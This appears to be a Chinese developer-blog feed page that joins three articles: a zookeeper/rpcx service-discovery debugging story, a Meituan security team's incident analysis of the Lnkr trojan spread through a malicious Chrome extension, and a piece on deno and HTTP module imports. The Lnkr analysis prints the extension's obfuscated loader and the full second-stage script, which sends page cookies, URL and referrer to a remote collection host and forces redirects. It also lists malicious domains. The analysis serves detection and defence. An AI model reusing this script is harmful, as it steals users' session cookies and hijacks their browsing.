  • 第一步:这些连接超时的pod(一个pod相当于一台虚拟机)是有什么异常吗?根据连接超时的IP地址查找对应的pod,发现没有一个pod是这个IP地址;那这个IP地址是从哪来的呢?难道是在某个隐秘的角落启动的?
  • 第二步:连接注册中心,查看该服务注册的IP列表,发现也不存在上面超时的IP地址。
  • 进一步:这个异常IP地址,k8s环境历史确实分配过;猜测服务端重启后,IP地址变了,但是客户端却没有更新IP列表,导致还请求老的IP地址。

  另外,错误日志只集中在一个pod,即只有一个pod没有更新服务端的IP列表。初步猜测可能有两种原因:1)这个客户端与zookeeper之间连接存在异常,所以zookeeper无法通知数据变更;2)服务发现框架存在代码异常,且只在某些场景触发,导致无法更新本地IP列表,或者是没有watch数据变更。

  针对第一种猜测,很简单登录到该异常pod,查看与zookeeper之间的连接即可:

# netstat -anp | grep 2181
tcp        0      0 xxxx:51970     yyyy:2181        ESTABLISHED 9/xxxx
tcp        0      0 xxxx:40510     yyyy:2181        ESTABLISHED 9/xxxx

  可以看到存在两条正常的TCP连接,为什么是两条呢?因为该进程不止作为客户端访问其他服务,还作为服务端供其他客户端调用,其中一条连接是用来注册服务,另外一条连接用来发现服务。tcpdump抓包看看这两条连接的数据交互:

23:01:58.363413 IP xxxx.51970 > yyyy.2181: Flag [P.], seq 2951753839:2951753851, ack 453590484, win 356, length 12
23:01:58.363780 IP yyyy.2181 > xxxx.51970: Flags [P.], seq 453590484:453590504, ack 2951753851, win 57, length 20
23:01:58.363814 IP xxxx.51970 > yyyy.2181: Flags [.], ack 453590504, win 356, length 0

……

  上面省略了抓包的内容部分。注意zookeeper点采用二进制协议,不太方便识别但是基本可以确信,这是ping-pong心跳包(定时交互,且每次数据一致)。并且,两条连接都有正常的心跳包频繁交互。

  pod与zookeeper之间连接正常,那么很可能就是服务发现框架的代码问题了。

模拟验证

  通过上面的分析,可能的原因是:服务发现框架存在代码异常,且只在某些场景触发,导致无法更新本地IP列表,或者是没有watch数据变更。

  客户端有没有watch数据变更,这一点非常容易验证;只需要重启一台服务,客户端tcpdump抓包就行。只不过zookeeper点采用二进制协议,不好分析数据包内容。

  简单介绍下zookeeper通信协议;如下图所示,图中4B表示该字段长度为4Byte。
image
  可以看到,每一个请求(响应),头部都有4字节标识该请求体的长度;另外,请求头部Opcode标识该请求类型,比如获取节点数据,创建节点等。watch事件通知是没有请求,只有响应,其中Type标识事件类型,Path为发生事件的节点路径。

  从zookeeper SDK可以找到所有请求类型,以及事件类型的定义。

const (
    opNotify       = 0
    opCreate       = 1
    opDelete       = 2
    opExists       = 3
    opGetData      = 4   //获取节点数据,这是我们需要关注的
    opSetData      = 5
    opGetAcl       = 6
    opSetAcl       = 7
    opGetChildren  = 8
    opSync         = 9
    opPing         = 11
    opGetChildren2 = 12  //获取子节点列表,这是我们需要关注的
    opCheck        = 13
    opMulti        = 14
    opClose        = -11
    opSetAuth      = 100
    opSetWatches   = 101
)

const (
    EventNodeCreated         EventType = 1
    EventNodeDeleted         EventType = 2
    EventNodeDataChanged     EventType = 3
    EventNodeChildrenChanged EventType = 4 //子节点列表变化,这是我们需要关注的
)

  下面可以开始操作了,客户端tcpdump开启抓包,服务端杀死一个pod,分析抓包数据如下:

//zookeeper数据变更事件通知
23:02:02.717505 IP xxxx.2181 > xxxx.51970: Flags [P.], seq 453590524:453590585, ack 2951753863, win 57, length 61
                  0000 0039 ffff ffff ffff ffff ffff  .....9..........
    0x0050:  ffff 0000 0000 0000 0004 0000 0003 0000  ................
    0x0060:  001d xxxx xxxx    xxxx xxxx xxxx xxxx    xxxx  ../xxxxxxxxxxxxx
    0x0070:  xxxx xxxx xxxx xxxx xxxx xxxx xxxx xx    xxxxxxxxxxxxxxx
23:02:02.717540 IP xxxx.51970 > xxxx.2181: Flags [.], ack 453590585, win 356, length 0

//客户端发起请求,获取子节点列表
23:02:02.717752 IP xxxx.51970 > xxxx.2181: Flags [P.], seq 2951753863:2951753909, ack 453590585, win 356, length 46
                  0000 002a 0000 4b2f 0000 000c 0000  .....*..K/......
    0x0050:  001d xxxx xxxx    xxxx xxxx xxxx xxxx    xxxx  ../xxxxxxxxxxxxx
    0x0060:  xxxx xxxx xxxx xxxx xxxx xxxx xxxx xx00  xxxxxxxxxxxxxxx.
//zookeeper响应,包含服务端所有节点(IP)
23:02:02.718500 IP xxxx.2181 > xxxx.51970: Flags [P.], seq 453590585:453591858, ack 2951753909, win 57, length 1273

//遍历所有节点(IP),获取数据(metadata)
23:02:02.718654 IP xxxx.51970 > xxxx.2181: Flags [P.], seq 2951753909:2951753978, ack 453591858, win 356, length 69
                  0000 0041 0000 4b30 0000 0004 0000  .....A..K0......
    0x0050:  0034 xxxx xxxx xxxx xxxx xxxx xxxx xxxx  .4/xxxxxxxxxxxxx
    0x0060:  xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx  xxxxxxxxxxxxxxxx
    0x0070:  xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx  xxxxxxxxxxxxxxxx
    0x0080:  xxxx xxxx xxxx 00                        xxxxxxx
23:02:02.720273 IP xxxx.2181 > xxxx.51970: Flags [P.], seq 453591858:453591967, ack 2951753978, win 57, length 109
                  0000 0069 0000 4b30 0000 0003 0ab3  .....i..K0......
    0x0050:  ad90 0000 0000 0000 0011 6772 6f75 703d  ..........group=
    0x0060:  6f6e 6c69 6e65 2674 7073 3d00 0000 030a  online&tps=.....
    0x0070:  b2ff ed00 0000 030a b3ad 5800 0001 76ae  ..........X...v.
    0x0080:  d003 dd00 0001 76af 051d 6d00 0000 3a00  ......v...m...:.
    0x0090:  0000 0000 0000 0001 703f 90a3 f679 ce00  ........p?...y..
    0x00a0:  0000 1100 0000 0000 0000 030a b2ff ed    ...............
    
……

  整个过程的交互流程如下图所示:
image
  可以看到,zookeeper在数据变更时通知客户端了,而客户端也拉取最新节点列表了,而且获取到的节点IP列表都是正确的。这就奇怪了,都已经获取到最新的IP列表了,为什么还请求老的IP地址?是没有更新内存中的数据吗?这就review代码了。

代码Review

  我们的微服务框架使用的是rpcx,监听zookeeper数据变更的逻辑,如下所示:

for {
        _, _, eventCh, err := s.client.ChildrenW(s.normalize(directory))
        
        select {
        case e := <-eventCh:
            if e.Type == zk.EventNodeChildrenChanged {
                keys, stat, err := s.client.Children(s.normalize(directory))
            
                for _, key := range keys {
                    pair, err := s.Get(strings.TrimSuffix(directory, "/") + s.normalize(key))
                }
            }
        }
}

  注意获取子节点列表的两个方法,ChildrenW以及Children;这两是有区别的:

func (c *Conn) Children(path string) ([]string, *Stat, error) {
    _, err := c.request(opGetChildren2, &getChildren2Request{Path: path, Watch: false}, res, nil)
    return res.Children, &res.Stat, err
}

func (c *Conn) ChildrenW(path string) ([]string, *Stat, <-chan Event, error) {
    _, err := c.request(opGetChildren2, &getChildren2Request{Path: path, Watch: true}, res, func(req *request, res *responseHeader, err error) {
    return res.Children, &res.Stat, ech, err
}

  原来,方法的后缀『W』代表着是否设置监听器。这里读者需要知道,zookeeper的监听器是一次性的。即客户端设置监听器后,数据变更时候,zookeeper查询监听器通知客户端,同时会删除该监听器。这就导致下次数据变更时候不会通知客户端了。

  这有什么问题吗?也许会有问题。客户端接收到数据变更后主要有三步逻辑:1)获取子节点列表,注意这时候并没有设置监听器;2)遍历所有节点获取数据;3)获取子节点列表,设置监听器,等待zookeeper事件通知。注意从第一步到第三步,是有耗时的,特别是服务端节点数目过多时候,多次请求耗时必然更高,那么在这之间的数据变更客户端是感知不到的。再结合代码升级流程,是滚动升级,即启动若干新版本pod(目前配置25%数目),如果这些pod正常启动,则杀掉部分老版本pod;以此类推。

  如果从第一部分新版本pod启动,到最后一部分新版本pod启动以及杀掉最后一些老版本pod,之间间隔非常短呢?小于上面第一步到第三步耗时呢?这样就会导致,客户端即存在老的IP列表,也存在新的IP列表。(上一小节模拟验证时候,只是杀死一个pod验证数据监听机制,并没有模拟大量pod重启过程并分析数据交互,因此无法确定这类场景是否存在问题)。整个过程如图所示:
image

  继续分析日志,发现客户端请求所有服务端的IP地址都是错误的,即客户端并不存在新的IP地址,不符合该场景。另外,再回首分析下模拟验证时候抓的数据包,第一步到第三步的时间间隔是非常非常小的,毕竟服务端机器数目不多,内网访问zookeeper也比较快,而滚动发布过程一般很慢,远大于该间隔。

//第一步获取子节点列表,没有设置监听器;注意最后一个字节为0x00,即watch=false
23:02:02.717752 IP xxxx.51970 > xxxx.2181: Flags [P.], seq 2951753863:2951753909, ack 453590585, win 356, length 46
                  0000 002a 0000 4b2f 0000 000c 0000  .....*..K/......
    0x0050:  001d xxxx xxxx    xxxx xxxx xxxx xxxx    xxxx  ../xxxxxxxxxxxxx
    0x0060:  xxxx xxxx xxxx xxxx xxxx xxxx xxxx xx00  xxxxxxxxxxxxxxx.
    
//第一步获取子节点列表,并设置监听器;注意最后一个字节为0x01,即watch=true
23:02:02.768422 IP xxxx.51970 > xxxx.2181: Flags [P.], seq 2951757025:2951757071, ack 453596850, win 356, length 46
                  0000 002a 0000 4b5d 0000 000c 0000  .....*..K]......
    0x0050:  001d xxxx xxxx    xxxx xxxx xxxx xxxx    xxxx  ../xxxxxxxxxxxxx
    0x0060:  xxxx xxxx xxxx xxxx xxxx xxxx xxxx xx01  xxxxxxxxxxxxxxx.
    
//间隔50ms左右

  不过,zookeeper监听器一次性机制还是需要关注,以防出现数据变更无法同步问题。

柳暗花明

  还能有什么原因呢?只能继续扒代码了,既然rpcx获取到了最新的IP列表,为什么没有更新呢?这就需要重点分析rpcx数据更新逻辑了。
image
  如图所示,ZookeeperDiscovery监听到服务端IP变更时候,将最新的IP列表写入chan,rpcxClient通过chan可获取最新的IP列表,并更新selector(selector提供负载均衡能力)。这个逻辑可以说是非常简单了,没有理由会出现异常。但是事实证明,异常大概率就在这块逻辑。难道是rpcxClient读取chan数据的协程有异常了?看看协程栈帧,也并没有问题。

//客户端毕竟不止是只访问一个微服务,所以会存在多个rpcxClient;
//这至少说明ZookeeperDiscovery监听协程与rpcxClient读chan协程数目是一致的。

 5   runtime.gopark
     runtime.goparkunlock
     runtime.chanrecv
     runtime.chanrecv2
     github.com/smallnest/rpcx/client.(*xClient).watch
-----------+-------------------------------------------------------
5   runtime.gopark
    runtime.selectgo
    github.com/smallnest/rpcx/client.(*ZookeeperDiscovery).watch

  只能继续探索。。。

  联想到之前还添加了服务发现灾备逻辑(防止zookeeper出现异常或者客户端到zookeeper之间链路异常),在监听到zookeeper数据变化时,还会将该数据写入本地文件。服务启动时,如果zookeeper无法连接,可以从本地文件读取服务端IP列表。这时候的流程应该是如下图所示:
image
  查看文件中的IP列表以及文件更新时间,发现都没有任何问题:

# stat /xxxx
  File: /xxxx
Access: 2020-12-24 22:06:16.000000000
Modify: 2020-12-29 23:02:14.000000000
Change: 2020-12-29 23:02:14.000000000

  这就不可思议了,文件中都是正确的IP列表,rpcxClient却不是?而rpcxClient更新数据的逻辑简单的不能再简单了,基本没有出错的可能性啊。难道是基于chan的数据通信有问题?再研究研究chan相关逻辑。

  rpcxClient与LocalWrapClient是通过WatchService方法获取通信的chan。可以看到,这里新建chan,并append到d.chans切片中。那如果两个协程同时WatchService呢?就可能出现并发问题,切片中最终可能只会有一个chan!这就解释了为什么本地文件可以正常更新,rpcxClient始终无法更新。

func (d *ZookeeperDiscovery) WatchService() chan []*KVPair {
    ch := make(chan []*KVPair, 10)
    d.chans = append(d.chans, ch)
    return ch
}

  我们再写个小例子模拟一下这种case,验证并发append问题:

package main

import (
    "fmt"
    "sync"
)

func main() {
    ok := true
    for i := 0; i <1000; i ++ {
        var arr []int
        wg := sync.WaitGroup{}

        for j := 0; j <2; j ++ {
            wg.Add(1)

            go func() {
                defer wg.Done()
                arr = append(arr, i)
            }()
        }
        wg.Wait()

        if len(arr) < 2 {
            fmt.Printf("error:%d \n", i)
            ok = false
            break
        }
    }

    if ok {
        fmt.Println("ok")
    }
}

//error:261 

  至此,问题基本明了。解决方案也很简单,去掉服务发现灾备逻辑即可。

总结

  初次遇到这问题时候,觉得匪夷所思。基于现状,冷静分析问题产生情况,一个一个去排查或者排除,切记急躁。

  抓包验证,二进制协议又不方便分析,只能去研究zookeeper通信协议了。最终还是需要一遍一遍Review代码,寻找蛛丝马迹,不要忽视任何可能产生的异常。

  最后,Golang并发问题确实是很容易忽视,却又很容易产生,平时开发还需多注意多思考。

公众号

  该系列文章会同步到以下公众号

image

查看原文

赞 5 收藏 1 评论 0

鸣飞 赞了文章 · 1月4日

隐藏在浏览器背后的“黑手”

导读

本文从黑产攻击方式、木马恶意行为、监控及防御方案等角度对Lnkr木马进行分析,此类木马影响范围较广,攻击手法多样,但国内目前相关的资料却非常稀少,希望本文的实践经验和总结能对从事相关安全检测的同学有所帮助。

一、事件概述

2020年10月,美团安全运营平台发现流量中存在恶意JavaScript请求,信息安全部收到告警后立即开始应急处理,通过对网络环境、访问日志等进行排查,最终锁定恶意请求由Chrome浏览器安装恶意插件引起,该恶意JavaScript文件会窃取Cookie并强制用户跳转到恶意色情站点、推广链接等,结合美团威胁情报大数据,发现该插件与Lnkr Ad Injector木马特征吻合。

此类木马传播方式多样,会通过浏览器插件、Broken Link Hijacking等方式在页面中植入恶意代码,不仅严重影响用户正常访问还会窃取用户数据。经追踪分析发现,多个国内大型互联网站点(Alexa全球排名前600)被感染,影响上亿网民的上网安全,建议各大平台对自身系统第三方加载源以及内部终端设备进行检查,避免遭受此类木马攻击。

二、溯源过程

2.1 安全运营平台发出异常告警

Chrome沙箱监测到恶意JavaScript文件,发出异常告警:

通过告警信息判断基本的攻击行为是:

  1. 用户访问正常页面;
  2. 页面加载外部JavaScript文件(A):http://s3.amazonaws.com/js-st...
  3. A加载第二个JavaScript文件(B):http://countsource.cool/18ced...
  4. B包含恶意代码,向远程域名发送Cookie等敏感信息。

2.2 分析攻击路径

根据告警中涉及的触发页面、相关网络环境信息,排除流量劫持、XSS攻击等情况,猜测可能的原因为浏览器插件或恶意软件导致。

通过沙箱对问题设备上所有Chrome插件进行分析,发现一个名为Vysor的Chrome插件代码存在恶意行为,检测结果如下:

{
    "call_window_location": {
        "info": "get document.location",
        "capture": []
    },
    "call_document_createElement": {
        "info": "call document.createElement, create script element",
        "capture": [
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:INPUT",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:SCRIPT",
            "create element elementName:LINK"
        ]
    },
    "call_document_removeChild": {
        "info": "call document.removeChild",
        "capture": [
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}"
        ]
    },
    "set_scriptSrcValue": {
        "info": "set script src unsafe value",
        "capture": [
            "//s3.amazonaws.com/js-static/18ced489204f8ff908.js"
        ]
    }
}

可以看到插件代码创建了script标签,然后将script标签的src属性设置为//s3.amazonaws.com/js-static/18ced489204f8ff908.js

2.3 插件恶意代码分析

为了进一步研究该组织木马的特征,我们对该恶意插件的代码进行了人工分析。恶意插件的代码量较大,结构混乱,包含大量干扰代码。

首先恶意代码预先设置了许多无明显意义的字符串,用于构造Payload。

这些字符串通过下面方法的一系列转换最终构造出创建script标签的语句 document'createElement',doctype即为创建出来的script对象。

接下来为script对象的src属性赋值,在addHandler方法中,cl这个参数由elem传递过来,其中包含src字符串,通过cl[0].split('>').slice(2, 3)拿到关键字src,tag是上文的doctype变量也就是script对象,在构造src值这部分,可以看到在常量中有一串一部分很像是base64的字符串:

mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.*\t'

恶意代码利用该字符串结合其他预设变量进行一系列转换,最终形成base64后的加载地址PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpYzwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM:

通过createLinkPseudo方法解base64,经过replace后形成恶意地址//s3.amazonaws.com/js-static/18ced489204f8ff908.js。

s3.amazonaws.com/js-static/18ced489204f8ff908.js的主要目的是加载下一层的恶意Javascript文件(//countsource.cool/18ced489204f8ff908.js),代码如下:

(function(){var a=document.createElement("script");a.data-original="//countsource.cool/18ced489204f8ff908.js";(document.head||document.documentElement).appendChild(a)})();;

//countsource.cool/18ced489204f8ff908.js文件内容为:

(function () {
    function initXMLhttp() {
        var xmlhttp;
        if (window.XMLHttpRequest) {
            xmlhttp = new XMLHttpRequest();
        } else {
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        return xmlhttp;
    }
​
    function minAjax(config) {
        if (!config.url) {
            return;
        }
        if (!config.type) {
            return;
        }
        if (!config.method) {
            config.method = true;
        }
        if (!config.debugLog) {
            config.debugLog = false;
        }
        var sendString = [],
            sendData = config.data;
        if (typeof sendData === "string") {
            var tmpArr = String.prototype.split.call(sendData, '&');
            for (var i = 0, j = tmpArr.length; i < j; i++) {
                var datum = tmpArr[i].split('=');
                sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
            }
        } else if (typeof sendData === 'object' && !(sendData instanceof String)) {
            for (var k in sendData) {
                var datum = sendData[k];
                if (Object.prototype.toString.call(datum) == "[object Array]") {
                    for (var i = 0, j = datum.length; i < j; i++) {
                        sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
                    }
                } else {
                    sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
                }
            }
        }
        sendString = sendString.join('&');
        if (window.XDomainRequest) {
            var xmlhttp = new window.XDomainRequest();
            xmlhttp.onload = function () {
                if (config.success) {
                    config.success(xmlhttp.responseText);
                }
            };
            xmlhttp.open("POST", config.url);
            xmlhttp.send(sendString);
        } else {
            var xmlhttp = initXMLhttp();
            xmlhttp.onreadystatechange = function () {
                if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                    if (config.success) {
                        config.success(xmlhttp.responseText, xmlhttp.readyState);
                    }
                } else {}
            }
            if (config.type == "GET") {
                xmlhttp.open("GET", config.url + "?" + sendString, config.method);
                xmlhttp.send();
            }
            if (config.type == "POST") {
                xmlhttp.open("POST", config.url, config.method);
                xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xmlhttp.send(sendString);
            }
        }
    }
    dL();
​
    function dL() {
        var host = 'http://press.cdncontentdelivery.com/f';
        var config = {
            url: host + "/stats.php",
            type: "POST",
            data: {
                vbase: document.baseURI,
                vhref: location.href,
                vref: document.referrer,
                k: "Y291bnRzb3VyY2UuY29vbA==",
                ck: document.cookie,
                t: Math.floor(new Date().getTime() / 1000),
                tg: ""
            },
            success: onSuccessCallback
        };
​
        function bl(resp) {
            ! function (dr) {
                function t() {
                    return !!localStorage && localStorage.getItem(a)
                }
​
                function e() {
                    o(),
                        parent.top.window.location.href = c
                }
​
                function o() {
                    var t = r + i;
                    if (localStorage) {
                        localStorage.setItem(a, t)
                    }
                }
​
                function n() {
                    if (t()) {
                        var o = localStorage && localStorage.getItem(a);
                        r > o && e()
                    } else e()
                }
                var a = "MenuIdentifier",
                    r = Math.floor((new Date).getTime() / 1e3),
                    c = dr,
                    i = 86400;
                n()
            }(resp);
        }
​
        function onSuccessCallback(response) {
            if (response && response.indexOf('http') > -1) {
                bl(response);
            }
        }
        minAjax(config);
    }
})();

该文件是真正实现恶意行为的代码,这部分代码没有经过混淆、加密,也没有加入其他无意义的代码干扰分析,可以很清晰地看到其恶意行为:

  1. 获取当前页面Cookie,ck参数;
  2. 获取当前页面Referrer;
  3. 获取当前页面Location;
  4. 使用XMLHttpRequest将获取到的数据发送到http://press.cdncontentdelive...
  5. 利用onSuccessCallback方法进行跳转。

至此实现了将Cookie发送到远端接收地址,后续通过onSuccessCallback返回内容完成跳转,完整流程:

2.4 通过已发现的IoC深入排查

通过上述特征,发现大量与Lnkr木马相关的域名和插件,部分并未出现在已知的威胁情报中,经进一步分析发现,移动终端设备也有触发恶意请求的情况。

除此之外我们也发现国内多个大型站点在自身引用资源上引入了Lnkr木马,用户如果访问到这些站点,Cookie信息会被直接发送到远端,存在极高的安全风险。针对站点自身存在恶意资源的这类情况,极有可能是攻击者利用Broken Link Hijacking的攻击手法,对过期域名进行抢注,站点在访问原有资源时被劫持到恶意资源。

三、总结

3.1 恶意域名

以下列举了此次检测发现的恶意域名:

  1. mirextpro.com
  2. browfileext.com
  3. nextextlink.com
  4. lisegreen.biz
  5. makesure.biz
  6. clipsold.com
  7. comtakelink.xyz
  8. protesidenext.com
  9. promfflinkdev.com
  10. rayanplug.xyz
  11. countsource.cool
  12. blancfox.com
  13. skipush1.bbn.com.cn
  14. donewrork.org
  15. loungesrc.net
  16. higedev.cool
  17. s3.amazonaws.com/cashe-js/
  18. s3.amazonaws.com/js-cache/
  19. s3.amazonaws.com/jsfile/
  20. s3.amazonaws.com/cashe-js/
  21. cdngateway.net(接收Cookie域名)
  22. sslproviders.net (接收Cookie域名)
  23. cdncontentdelivery.com (接收Cookie域名)

3.2 恶意插件

排查到包含Lnkr木马特征的恶意插件:

部分恶意插件截图:

四、复盘

Lnkr木马所造成的危害有哪些?

Lnkr木马的核心域名之一cdngateway.net在全球域名流量排名8900位,从流量来源角度,通过外部网站跳转带来的流量占比总流量的65.48%,可见其攻击范围极广,受其影响的应用、用户数量也是非常庞大的。

此类木马对外部用户和内部员工访问同时具有严重危害。

在外部用户方面,如果企业没有严格控制系统第三方资源加载,黑产利用Broken Link Hijacking的攻击手法,致使业务系统加载资源时被劫持植入恶意代码,将严重影响用户体验、信息安全和企业形象。

从内部员工角度,传统杀软、EDR等终端安全设备并不能很好地识别出此类恶意插件,攻击者通过传播恶意浏览器插件控制员工浏览器加载远程恶意资源,不仅仅可以用于广告注入,相较于针对浏览器的其他攻击方式,可以达到更稳定,触发面更广的敏感信息窃取、内网探测等,在CSP历史阻断的恶意请求中,我们也发现除窃取Cookie信息外,也存在恶意代码窃取页面文本信息的情况,这些文本信息在企业内部平台中,极有可能包含大量用户,订单等敏感信息。

如何发现此类恶意木马植入?

针对恶意浏览器插件,在检测方面对其代码做静态分析成本比较大,触发恶意请求的Payload都是通过大量编码转换、拼接、正则匹配等构造而成、且经过了很多没有实际意义的方法,在动态分析方面,由于Chrome插件代码会调用Chrome后台API,在常规沙箱环境中可能会出现无法调用API而中途报错退出。分析中还发现,很多恶意行为需要触发特定事件才能进入到构造恶意Payload流程,如触发chrome.tabs.onUpdated等。

对于浏览器插件安全,可以通过以下方式进行检测及防护:

  • 禁止安装未在Chrome应用商店上线的插件(公司内部开发的插件除外);
  • 对插件manfiest.json文件进行轻量级的排查,manfiest.json文件中申请权限相对敏感,如Cookie、tabs、webRequest等等;
  • 利用内容安全策略(CSP)对应用页面发起的请求进行拦截或监控,结合静态与动态分析技术,判断JavaScript文件行为;
  • 利用浏览器沙箱与EDR,定期对浏览器插件进行扫描;
  • 构建网络层的检测能力,发现有恶意请求及时应急处理。

对于业务系统自身是否加载恶意资源方面:

  • 严格控制系统加载的第三方资源;
  • 通过内容安全策略(CSP)对页面触发的请求进行拦截或监控。

总结

黑产组织利用此类木马进行恶意引流、窃取用户信息等,给用户访问带来安全风险,也危害到企业自身形象,在HTTPS场景下,虽然排除了链路上用户访问被劫持的风险,但用户端访问环境安全性不定,为确保用户获取的信息可靠,没有被篡改,仍然需要进一步加强防护。希望本文能给大家带来一些帮助或者启发。

关于美团信息安全部

招聘信息

目前美团安全团队正在努力打造语言虚拟机—基础服务—上层应用的纵深应用安全体系,急需对研发安全感兴趣的同学加入!如果你正好有求职意向且满足以下岗位要求,欢迎投递简历至sunny.fang@meituan.com(邮件主题请注明:研发安全专家-城市-美团SRC)。

| 想阅读更多技术文章,请关注美团技术团队(meituantech)官方微信公众号。

| 在公众号菜单栏回复【2019年货】、【2018年货】、【2017年货】、【算法】等关键词,可查看美团技术团队历年技术文章合集。

查看原文

赞 8 收藏 0 评论 0

鸣飞 赞了文章 · 1月4日

2021再看Deno(CDN for JavaScript modules的思考)

2018年,我曾经在deno发布不久写过一篇《Deno不是下一代Node.js!》的文章,正好最近有一些研究,站在2021年再来看看deno。

无疑,deno改变了大家的对包管理的看法。本身deno够小,试错成本低,它确确实实引领了一个潮流方向。这个改进虽说不算新,但反响确实很好,大概是天下人苦npm(npm开玩笑的说法是:你怕吗)久已,用法简单,高效,甚至是衍生出很多关于CDN for JavaScript modules的思考。

下面,我们就一起看一下吧。

缘起

我们做了一个imove的开源项目,iMove 是一个逻辑可复用的,面向函数的,流程可视化的 JavaScript 工具库。

目前已经支持的特性

  • [x] 流程可视化: 上手简单,绘图方便,逻辑表达更直观,易于理解
  • [x] 逻辑复用: iMove 节点支持复用,单节点支持参数配置
  • [x] 灵活可扩展: 仅需写一个函数,节点可扩展,支持插件集成
  • [ ] 多语言编译: 无语言编译出码限制(例: 支持 JavaScript, Java 编译出码)

image.png

其实,直白点讲,就是将运营配置的一套玩法给开发用。每个节点都是函数,可视化,可配置,可组装,可导出代码,做的是很克制的。基于x6图形和json协议,可以说是以最小的投入成本拿到最大的效果,从定位上看,还是相当精准的。我们自己在业务中使用落地,无论体验还是效果,也是非常好的。

最近为了开源,小伙伴提了2个优化点:

  1. 双击图形,可以编辑函数,这样操作更方便。已经做完了。
  2. 在这个界面上做到节点或流程可测试。确实会有这个问题,如果节点可测,功能上会更加实用。

第二点,我是非常认可这的。但问题来了,如何实现呢?

每个节点的代码等价于一个 js 文件,因此你不用担心全局变量的命名污染问题,甚至可以 import 现有的 npm 包,但最后必须 export 出一个函数。需要注意的是,由于 iMove 天生支持节点代码的异步调用,因此 export 出的函数默认是一个 promise。

举例,就拿 是否登录 这个分支节点为例,我们来看下节点代码该如何编写:

import fetch from 'node-fetch';

export default async function (ctx) {
  return fetch('/api/isLogin')
    .then(res => res.json())
    .then(res => {
      const {success, data: {isLogin} = {}} = res;
      return success && isLogin;
    }).catch(err => {
      console.log('fetch /api/isLogin failed, the err is:', err);
      return false;
    });
}

引申出

  1. 这是esm,基于es module的主流写法。
  2. 支持外部包导入,不然很难能够应对复杂场景。

类似的jsbin,或codepen,或codesandbox,可以使用webpack的off-line插件实现,也可以采用webide初始化安装模块来实现,但这并不是好的方式。imove是要兼容浏览器和node的,直接运行,不需要本地安装npm包,也能够在node里完美运行。这就导致,我们必须要往http import方向思考问题。System.js就是一个极好的选择。

import-http

如果你去看deno链接外部代码文档(https://deno.land/manual/link...),它的做法是通过--allow-net参数选项,可以让deno 的runtime可以下载imports并将其缓存在磁盘上。

这其实只是缓存在系统目录中,比如mac上是$HOME/Library/Caches/deno。其实并没有啥本质提升。

通过代码地址来引用代码,确实是很爽的一件事儿。

No more node_modules bloat, no dependency to install.

在node世界里,也有人实现了类似的机制,即https://github.com/egoist/imp...。它是通过webpack/rollup编译时处理的。

看具体用法

先配置webpack.config.js:

const ImportHttpWebpackPlugin = require('import-http/webpack')

module.exports = {
  plugins: [new ImportHttpWebpackPlugin()]
}

然后就可以在代码直接使用了:

import React from 'https://unpkg.com/react'
import Vue from 'https://unpkg.com/vue'

console.log(React, Vue)

原理:通过webpack的compiler.resolverFactory.hooks.resolver解析import-http-resolver,即import里带有http和https的。然后通过fileModuleCache和httpCache对下载的内容进行缓存。

其实,Node.js做这事儿也是很简单的。只要在https://github.com/nodejs/nod...,实现下载和缓存就可以解决。可是,历史包袱过重,想做到no filesystem imports of any kind from https sources,还是有一段路要走的。不过这块,也是大家能够参与贡献Node.js源码的很好的点。

支持第三方ESM loader也快了,大家拭目以待吧,用法类似于下面的

node-dev --experimental-loader ts-node/esm/transpile-only ./index.ts

esm.run

国外还有一个服务,名为esm.run,它的定位是:”A New-Age CDN for JavaScript modules“。这话说的已经相当直接了,它就是重新定义基于CDN的JavaScript modules的新的托管方式。

它的原理图。

image.png

以npm和github作为源,同步到亚马逊s3上,继而代理到各种CDN,为用户提供服务。

cjs to esm

很早就有了cjs转esm的工具。比如https://github.com/standard-t...,自己实现大量polyfill,过渡态,尝试还行,早晚还是要回归到内核中的。

The brilliantly simple, babel-less, bundle-less ECMAScript module loader.
// Set options as a parameter, environment variable, or rc file.
require = require("esm")(module/*, options*/)
module.exports = require("./main.js")

这是本地的做法,如果变成http import,这件事儿本地是不需要做的,把这些都交给cdn类的服务来做更合适。事实上,pika.dev/skypack.dev/jspm.io都已经做了这件事儿。

借助 http://jspm.io(或其他类似服务)来将 commonjs 转换为兼容的 esm 格式。

import cheerio from "https://dev.jspm.io/npm:cheerio/index.js";

引申一下,2个问题。

  1. 国内还没有类似的服务,既然有cnpm,会不会有类似的服务呢?我想会有人做的。
  2. 传统CDN厂商下一步也会朝着这个方向走的,要么收购,要么自建。这其实是很好的生意。一方面满足开发者的诉求,另一方面也能够为传统CDN厂商提供增量业务。它也是新基建的组成部分。

总结

deno是一个很好的创新,上面讲的import-http,esm.run或模块转化服务,可以说都是deno探索间接或直接作用的结果。

但如果说想替代Node,目前的这些特性和性能提升,还不足以替代node。Node社区在node 4之后接纳es特性之后还是很与时俱进的,cjs和esm处理曾经也很及时。那么既然时机已成熟,今天node拥抱http import还会远吗?

查看原文

赞 8 收藏 1 评论 0

鸣飞 关注了用户 · 1月3日

阿里巴巴淘系技术 @alibabataoxijishu

阿里巴巴集团淘系技术部官方账号。淘系技术旗下包含淘宝技术、天猫技术、闲鱼技术、躺平等团队和业务。我们服务9亿用户,赋能各行业1000万商家,并成功主导了11次阿里巴巴经济体双十一技术大考,打造了全球领先的线上新零售技术平台。
我们的愿景是致力于成为全球最懂商业的技术创新团队,让科技引领面向未来的商业创新和进步。
公众号关注:淘系技术

关注 298

鸣飞 赞了文章 · 1月3日

